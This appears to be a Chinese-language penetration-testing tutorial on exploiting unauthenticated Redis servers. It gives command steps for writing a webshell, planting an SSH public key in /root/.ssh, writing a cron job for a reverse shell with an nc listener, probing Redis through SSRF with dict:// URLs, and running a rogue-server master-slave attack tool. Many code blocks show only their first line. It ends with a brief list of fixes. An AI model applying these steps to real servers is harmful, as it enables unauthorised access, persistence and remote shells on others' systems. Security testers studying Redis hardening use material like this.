redis未授权访问
利用条件
redis 绑定端口 6379,且任意IP能访问,无密码直接登录 redis,登录需要在本地安装redis
本地安装 redis
| 1 | wget http://download.redis.io/releases/redis-2.8.17.tar.gz | 
测试未授权访问
| 1 | redis-cli -h 目标IP -p 6379 | 
redis 写入 webshell
利用条件
存在未授权访问漏洞,并登录redis,需要知道 web 服务器目录,并有增删改查的权限
web服务器目录,需要自己根据获取路径更改
| 1 | redis-cli -h 目标IP -p 6379 | 
redis 写入 SSH
利用条件
存在未授权访问漏洞,并登录redis,.ssh目录有写入的权限
原理
原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。
攻击机
生成 SSH 密钥,导入key.txt,再把key.txt写入redis 服务器中
| 1 | ssh-keygen -t rsa | 
登录 redis 写入ssh,文件名为 auth_keys
| 1 | redis-cli -h 目标IP | 
测试登录
| 1 | ssh 目标IP | 
redis 写入计划任务 获取shell
数据库中插入一条数据,将计划任务的内容作为value,key值随意,然后通过修改数据库的默认路径为目标主机计划任务的路径,把缓冲的数据保存在文件里,这样就可以在服务器端成功写入一个计划任务进行反弹shell
攻击机上监听
| 1 | nc -lvnp 5555 | 
登录目标网站
根据不同类型的Linux需要更改路径
Centos的定时任务文件在
| 1 | /var/spool/cron/ | 
Ubuntu定时任务文件在
| 1 | /var/spool/cron/crontabs/ | 
| 1 | redis-cli -h 目标IP | 
稍等片刻,即可反弹
修复
- 密码验证 
- 降权运⾏ 
- 限制 ip / 修改端⼝ 
https://www.runoob.com/redis/redis-install.html
SSRF利用Redis 写shell
不一定是ssrf 也可以是 spring 之类的,只要能获取到redis账号密码就行。
SSRF 获取真实IP
vps 监听
| 1 | nc -lvvp 1234 | 
ssrf 漏洞利用点请求服务器
| 1 | url=http://127.0.0.1:1234 | 
去服务器上看可以看到真实IP
利用dict探测redis
| 1 | url=dict://127.0.0.1:6379 | 
发现开放 redis 服务
获取网站绝对路径如果是 可以根据网站特性获取
| 1 | /www/wwwroot/hx4_triangle/application | 
redis 利用主从复制纯净文件

redis服务器写入shell
主服务器搭建
| 1 | sudo yum install epel-release | 
写shell
本地redis 写入
| 1 | flushall | 
ssrf目标服务器写入
| 1 | config:set:dir:/www/wwwroot/runtime/ | 
蚁剑连接
使用redis利用工具
vps 下载利用工具
| 1 | git clone https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server.git | 
| 1 | cd Awsome-Redis-Rogue-Server/ | 
用dict写shell
| 1 | config get dir | 
反弹shell
| 1 | python3 redis_rogue_server.py -v -path module.so | 
| 1 | # 查看当前redis的相关配置 |